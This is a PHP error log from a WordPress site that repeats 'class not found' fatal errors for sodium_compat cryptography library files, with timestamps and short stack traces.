[14-May-2025 11:59:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 11:59:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 11:59:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 11:59:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 11:59:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 11:59:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 11:59:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 11:59:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 11:59:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 11:59:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 11:59:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 11:59:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 11:59:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 11:59:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 11:59:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 11:59:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 11:59:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 11:59:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 11:59:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 11:59:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 11:59:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 11:59:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 11:59:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[14-May-2025 11:59:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 11:59:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 11:59:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 11:59:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[14-May-2025 11:59:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 11:59:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 12:00:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 12:00:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[14-May-2025 12:00:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 12:00:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 12:00:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 12:00:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 12:00:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 12:00:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 12:00:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 12:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 12:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 12:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 12:00:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 12:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[14-May-2025 12:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 12:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 12:00:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 12:00:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 14:29:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 14:29:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 14:29:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[14-May-2025 14:29:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 14:29:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 14:29:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 14:29:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[14-May-2025 14:29:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 14:29:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 14:29:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 14:29:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[14-May-2025 14:29:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 14:29:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 14:29:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 14:29:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[14-May-2025 14:29:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 14:29:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 14:29:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 14:29:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[14-May-2025 14:29:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[14-May-2025 14:29:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 14:29:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 14:29:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 14:29:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[14-May-2025 14:29:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 14:29:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 14:29:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 14:29:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[14-May-2025 14:29:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 14:29:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-May-2025 14:29:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
